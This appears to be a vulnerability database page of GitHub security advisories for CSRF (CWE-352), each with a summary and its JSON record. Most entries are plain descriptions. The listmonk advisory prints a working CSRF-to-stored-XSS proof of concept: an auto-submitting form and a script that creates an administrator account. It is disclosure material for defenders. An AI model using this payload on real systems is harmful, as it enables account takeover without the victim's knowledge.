CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14224 vulnerabilities reference this CWE, most recent first.
GHSA-RCMF-88P4-9WRG
Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2024-01-10 21:20WooCommerce before 3.6.5, when it handles CSV imports of products, has a cross-site request forgery (CSRF) issue with resultant stored cross-site scripting (XSS) via includes/admin/importers/class-wc-product-csv-importer-controller.php.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "woocommerce/woocommerce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-20891"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-10T21:20:18Z",
"nvd_published_at": "2020-06-19T21:15:00Z",
"severity": "HIGH"
},
"details": "WooCommerce before 3.6.5, when it handles CSV imports of products, has a cross-site request forgery (CSRF) issue with resultant stored cross-site scripting (XSS) via `includes/admin/importers/class-wc-product-csv-importer-controller.php`.",
"id": "GHSA-rcmf-88p4-9wrg",
"modified": "2024-01-10T21:20:18Z",
"published": "2022-05-24T17:21:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20891"
},
{
"type": "WEB",
"url": "https://github.com/woocommerce/woocommerce/commit/fd7feb778eb45a2eb92b45eb2b4ee96ea3ac6fe7"
},
{
"type": "WEB",
"url": "https://blog.ripstech.com/2019/woocommerce-csrf-to-stored-xss"
},
{
"type": "PACKAGE",
"url": "https://github.com/woocommerce/woocommerce"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/woocommerce/woocommerce/master/CHANGELOG.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WooCommerce Cross-Site Request Forgery (CSRF) "
}
GHSA-RCMG-F2PM-C8PR
Vulnerability from github – Published: 2024-03-13 18:31 – Updated: 2024-03-13 18:31The Comments Extra Fields For Post,Pages and CPT plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.0. This is due to missing or incorrect nonce validation on several ajax actions. This makes it possible for unauthenticated attackers to invoke those actions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. As a result, they may modify comment form fields and update plugin settings.
{
"affected": [],
"aliases": [
"CVE-2024-0830"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T16:15:14Z",
"severity": "MODERATE"
},
"details": "The Comments Extra Fields For Post,Pages and CPT plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.0. This is due to missing or incorrect nonce validation on several ajax actions. This makes it possible for unauthenticated attackers to invoke those actions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. As a result, they may modify comment form fields and update plugin settings.",
"id": "GHSA-rcmg-f2pm-c8pr",
"modified": "2024-03-13T18:31:32Z",
"published": "2024-03-13T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0830"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-comment-fields/trunk/classes/admin.class.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3040734%40wp-comment-fields%2Ftrunk\u0026old=3039523%40wp-comment-fields%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8ea53b11-37fa-4c45-a158-5a7709b842fc?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RCMR-JMRM-MJRC
Vulnerability from github – Published: 2025-01-16 21:31 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in Mozilla Web Push allows Stored XSS.This issue affects Web Push: from n/a through 1.4.0.
{
"affected": [],
"aliases": [
"CVE-2025-23720"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-16T20:15:46Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Mozilla Web Push allows Stored XSS.This issue affects Web Push: from n/a through 1.4.0.",
"id": "GHSA-rcmr-jmrm-mjrc",
"modified": "2026-04-01T18:33:13Z",
"published": "2025-01-16T21:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23720"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/web-push/vulnerability/wordpress-web-push-plugin-1-4-0-csrf-to-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RCP3-H3CV-RFV7
Vulnerability from github – Published: 2025-05-15 21:31 – Updated: 2025-05-20 15:30The WP-Reply Notify WordPress plugin through 1.1 does not have a CSRF check in place when updating its settings, which could allow attackers to make a logged-in admin change them via a CSRF attack.
{
"affected": [],
"aliases": [
"CVE-2023-7195"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T20:15:30Z",
"severity": "MODERATE"
},
"details": "The WP-Reply Notify WordPress plugin through 1.1 does not have a CSRF check in place when updating its settings, which could allow attackers to make a logged-in admin change them via a CSRF attack.",
"id": "GHSA-rcp3-h3cv-rfv7",
"modified": "2025-05-20T15:30:38Z",
"published": "2025-05-15T21:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7195"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/72279ca0-6365-4c83-adca-4d8e5808a8c5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RCWM-V5HV-QC56
Vulnerability from github – Published: 2025-04-24 18:31 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in harrysudana Contact Form 7 Calendar allows Stored XSS. This issue affects Contact Form 7 Calendar: from n/a through 3.0.1.
{
"affected": [],
"aliases": [
"CVE-2025-46510"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-24T16:15:42Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in harrysudana Contact Form 7 Calendar allows Stored XSS. This issue affects Contact Form 7 Calendar: from n/a through 3.0.1.",
"id": "GHSA-rcwm-v5hv-qc56",
"modified": "2026-04-01T18:34:58Z",
"published": "2025-04-24T18:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46510"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cf7-calendar/vulnerability/wordpress-contact-form-7-calendar-plugin-3-0-1-csrf-to-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RCXQ-2G9F-9HPC
Vulnerability from github – Published: 2022-05-14 03:15 – Updated: 2022-05-14 03:15servlet/UserServlet in SearchBlox 8.6.6 has CSRF via the u_name, u_passwd1, u_passwd2, role, and X-XSRF-TOKEN POST parameters because of CSRF Token Bypass.
{
"affected": [],
"aliases": [
"CVE-2018-11538"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-01T19:29:00Z",
"severity": "HIGH"
},
"details": "servlet/UserServlet in SearchBlox 8.6.6 has CSRF via the u_name, u_passwd1, u_passwd2, role, and X-XSRF-TOKEN POST parameters because of CSRF Token Bypass.",
"id": "GHSA-rcxq-2g9f-9hpc",
"modified": "2022-05-14T03:15:01Z",
"published": "2022-05-14T03:15:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11538"
},
{
"type": "WEB",
"url": "https://gurelahmet.com/cve-2018-11538-csrf-privilege-escalation-creation-of-an-administrator-account-on-searchblox-8-6-6"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44801"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/147977/SearchBlox-8.6.6-Cross-Site-Request-Forgery.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RF22-CG75-72HC
Vulnerability from github – Published: 2022-05-02 03:20 – Updated: 2022-05-02 03:20Multiple cross-site request forgery (CSRF) vulnerabilities in the HP Embedded Web Server (EWS) on HP LaserJet Printers, Edgeline Printers, and Digital Senders allow remote attackers to hijack the intranet connectivity of arbitrary users for requests that (1) print documents via unknown vectors, (2) modify the network configuration via a NetIPChange request to hp/device/config_result_YesNo.html/config, or (3) change the password via the Password and ConfirmPassword parameters to hp/device/set_config_password.html/config.
{
"affected": [],
"aliases": [
"CVE-2009-0940"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-18T21:00:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site request forgery (CSRF) vulnerabilities in the HP Embedded Web Server (EWS) on HP LaserJet Printers, Edgeline Printers, and Digital Senders allow remote attackers to hijack the intranet connectivity of arbitrary users for requests that (1) print documents via unknown vectors, (2) modify the network configuration via a NetIPChange request to hp/device/config_result_YesNo.html/config, or (3) change the password via the Password and ConfirmPassword parameters to hp/device/set_config_password.html/config.",
"id": "GHSA-rf22-cg75-72hc",
"modified": "2022-05-02T03:20:00Z",
"published": "2022-05-02T03:20:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0940"
},
{
"type": "WEB",
"url": "http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01684566"
},
{
"type": "WEB",
"url": "http://osvdb.org/52847"
},
{
"type": "WEB",
"url": "http://osvdb.org/52848"
},
{
"type": "WEB",
"url": "http://osvdb.org/52849"
},
{
"type": "WEB",
"url": "http://www.louhinetworks.fi/advisory/HP_20090317.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/501884/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34143"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/0754"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RF24-WG77-GQ7W
Vulnerability from github – Published: 2025-09-09 20:42 – Updated: 2025-09-10 21:08Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce :
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
And this request can also be made without nonce.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons :
1) There is no validation of the nonce (as mentioned above)
2) The session cookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions) - Chrome ❌ - Firefox ✅ - Edge ✅
Example in Firefox :
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account:
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
Admin account creation
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/knadh/listmonk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58430"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T20:42:32Z",
"nvd_published_at": "2025-09-09T20:15:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they\u2019re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker\u2019s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.\n\n\n### Details\n\nDuring a security evaluation of the webapp, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly.\n\nThis may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.\n\nExample HTTP request without nonce : \n\u003cimg width=\"1418\" height=\"772\" alt=\"user_creation_without_nonce_burp_request\" src=\"https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32\" /\u003e\n\n\n\n### PoC\n\nLet\u0027s look at a \u201cchain\u201d case of vulnerabilities that include the CSRF and XSS.\n\nAn admin (or any user with permissions) can create templates and preview them (`POST /api/templates/preview` ) making it possible to execute javascript code. For example:\n\n\u003cimg width=\"1912\" height=\"935\" alt=\"browser_template_editor_with_alert\" src=\"https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad\" /\u003e\n\nAnd this request can also be made without `nonce`.\n\n\u003cimg width=\"1883\" height=\"707\" alt=\"template_preview_burp_request_without_nonce\" src=\"https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41\" /\u003e\n\nThen an attacker can exploit this lack of validation to trigger an XSS in the victim\u0027s browser (let\u0027s assume the admin).\n\nThis is possible for 2 reasons :\n 1) There is no validation of the `nonce` (as mentioned above)\n 2) The `session` cookie has no samesite flag\n\n\u003cimg width=\"1557\" height=\"593\" alt=\"no_same_site_response_cookie_burp\" src=\"https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77\" /\u003e\n\nAs we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.\nSome browsers by default set `Lax` (Chrome), but many others use `None` (Firefox, Edge).\n\nFor example, we can host this html page to prompt the admin to make a post request\n\n```html\n\u003chtml\u003e\n \u003c!-- CSRF PoC --\u003e\n \u003cbody\u003e\n \u003cform action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"template\u0026#95;type\" value=\"campaign\" /\u003e\n \u003cinput type=\"hidden\" name=\"body\" value=\"\u0026#123;\u0026#123;\u0026#32;template\u0026#32;\u0026quot;content\u0026quot;\u0026#32;\u0026#46;\u0026#32;\u0026#125;\u0026#125;\u0026#13;\u0026#10;\u0026#13;\u0026#10;\u0026lt;script\u0026gt;alert\u0026#40;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n\nThe CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)\n- Chrome \u274c\n- Firefox \u2705\n- Edge \u2705\n\nExample in Firefox : \n\n\n\nWe can now replace the simple `alert()` with any \u201charmful\u201d request. For example, the creation of a new admin account:\n\u003cimg width=\"1226\" height=\"925\" alt=\"browser_template_editor_with_final_payload\" src=\"https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a\" /\u003e\n\n```html\n \u003cscript\u003e\n function submitRequest()\n {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"https:\\/\\/10.100.132.47\\/api\\/users\", true);\n xhr.setRequestHeader(\"Content-Type\", \"application\\/json\");\n xhr.withCredentials = true;\n var body = \"{\\\"username\\\":\\\"testuser4\\\",\\\"email\\\":\\\"test3@test.com\\\",\\\"name\\\":\\\"testuser4\\\",\\\"password\\\":\\\"Test12345\\\",\\\"passwordLogin\\\":true,\\\"type\\\":\\\"user\\\",\\\"status\\\":\\\"enabled\\\",\\\"listRoleId\\\":\\\"\\\",\\\"userRoleId\\\":1,\\\"password2\\\":\\\"Test12345\\\",\\\"password_login\\\":true,\\\"user_role_id\\\":1,\\\"list_role_id\\\":null}\";\n var aBody = new Uint8Array(body.length);\n for (var i = 0; i \u003c aBody.length; i++)\n aBody[i] = body.charCodeAt(i); \n xhr.send(new Blob([aBody]));\n }\n submitRequest();\n \u003c/script\u003e\n```\n\nThe final poc that exploits CSRF + XSS, allowing admin account creation:\n\n```html\n\n\u003chtml\u003e\n \u003c!-- CSRF PoC --\u003e\n \u003cbody\u003e\n \u003cform action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"template\u0026#95;type\" value=\"campaign\" /\u003e\n \u003cinput type=\"hidden\" name=\"body\" value=\"\u0026#123;\u0026#123;\u0026#32;template\u0026#32;\u0026quot;content\u0026quot;\u0026#32;\u0026#46;\u0026#32;\u0026#125;\u0026#125;\u0026#13;\u0026#10;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026lt;script\u0026gt;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;function\u0026#32;submitRequest\u0026#40;\u0026#41;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#123;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;xhr\u0026#32;\u0026#61;\u0026#32;new\u0026#32;XMLHttpRequest\u0026#40;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;open\u0026#40;\u0026quot;POST\u0026quot;\u0026#44;\u0026#32;\u0026quot;https\u0026#58;\u0026#92;\u0026#47;\u0026#92;\u0026#47;10\u0026#46;100\u0026#46;132\u0026#46;47\u0026#92;\u0026#47;api\u0026#92;\u0026#47;users\u0026quot;\u0026#44;\u0026#32;true\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;setRequestHeader\u0026#40;\u0026quot;Content\u0026#45;Type\u0026quot;\u0026#44;\u0026#32;\u0026quot;application\u0026#92;\u0026#47;json\u0026quot;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;withCredentials\u0026#32;\u0026#61;\u0026#32;true\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;body\u0026#32;\u0026#61;\u0026#32;\u0026quot;\u0026#123;\u0026#92;\u0026quot;username\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;testuser4\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;email\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;test3\u0026#64;test\u0026#46;com\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;name\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;testuser4\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;password\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;Test12345\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;passwordLogin\u0026#92;\u0026quot;\u0026#58;true\u0026#44;\u0026#92;\u0026quot;type\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;user\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;status\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;enabled\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;listRoleId\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;userRoleId\u0026#92;\u0026quot;\u0026#58;1\u0026#44;\u0026#92;\u0026quot;password2\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;Test12345\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;password\u0026#95;login\u0026#92;\u0026quot;\u0026#58;true\u0026#44;\u0026#92;\u0026quot;user\u0026#95;role\u0026#95;id\u0026#92;\u0026quot;\u0026#58;1\u0026#44;\u0026#92;\u0026quot;list\u0026#95;role\u0026#95;id\u0026#92;\u0026quot;\u0026#58;null\u0026#125;\u0026quot;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;aBody\u0026#32;\u0026#61;\u0026#32;new\u0026#32;Uint8Array\u0026#40;body\u0026#46;length\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;for\u0026#32;\u0026#40;var\u0026#32;i\u0026#32;\u0026#61;\u0026#32;0\u0026#59;\u0026#32;i\u0026#32;\u0026lt;\u0026#32;aBody\u0026#46;length\u0026#59;\u0026#32;i\u0026#43;\u0026#43;\u0026#41;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;aBody\u0026#91;i\u0026#93;\u0026#32;\u0026#61;\u0026#32;body\u0026#46;charCodeAt\u0026#40;i\u0026#41;\u0026#59;\u0026#32;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;send\u0026#40;new\u0026#32;Blob\u0026#40;\u0026#91;aBody\u0026#93;\u0026#41;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#125;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;submitRequest\u0026#40;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n### Impact\nAdmin account creation",
"id": "GHSA-rf24-wg77-gq7w",
"modified": "2025-09-10T21:08:05Z",
"published": "2025-09-09T20:42:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58430"
},
{
"type": "PACKAGE",
"url": "https://github.com/knadh/listmonk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover"
}
GHSA-RF3H-HJ2J-V6CR
Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2026-04-08 18:32The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.8.1. This is due to missing or incorrect nonce validation on the wpbe_create_new_term, wpbe_update_tax_term, and wpbe_delete_tax_term functions. This makes it possible for unauthenticated attackers to create, modify and delete taxonomy terms via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Furthermore, the functions wpbe_save_options, wpbe_bulk_delete_posts_count, wpbe_bulk_delete_posts, and wpbe_save_meta are vulnerable to Cross-Site Request Forgery allowing for plugin options update, post count deletion, post deletion and modification of post metadata via forged request.
{
"affected": [],
"aliases": [
"CVE-2024-0790"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-05T22:16:04Z",
"severity": "MODERATE"
},
"details": "The WOLF \u2013 WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.8.1. This is due to missing or incorrect nonce validation on the wpbe_create_new_term, wpbe_update_tax_term, and wpbe_delete_tax_term functions. This makes it possible for unauthenticated attackers to create, modify and delete taxonomy terms via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Furthermore, the functions wpbe_save_options, wpbe_bulk_delete_posts_count, wpbe_bulk_delete_posts, and wpbe_save_meta are vulnerable to Cross-Site Request Forgery allowing for plugin options update, post count deletion, post deletion and modification of post metadata via forged request.",
"id": "GHSA-rf3h-hj2j-v6cr",
"modified": "2026-04-08T18:32:33Z",
"published": "2024-02-06T00:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0790"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bulk-editor/trunk/index.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3028699%40bulk-editor%2Ftrunk\u0026old=3012874%40bulk-editor%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3028699@bulk-editor/trunk\u0026old=3012874@bulk-editor/trunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6c48f94b-d193-429a-9383-628ae12bfdf3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RF4F-7Q96-C7HP
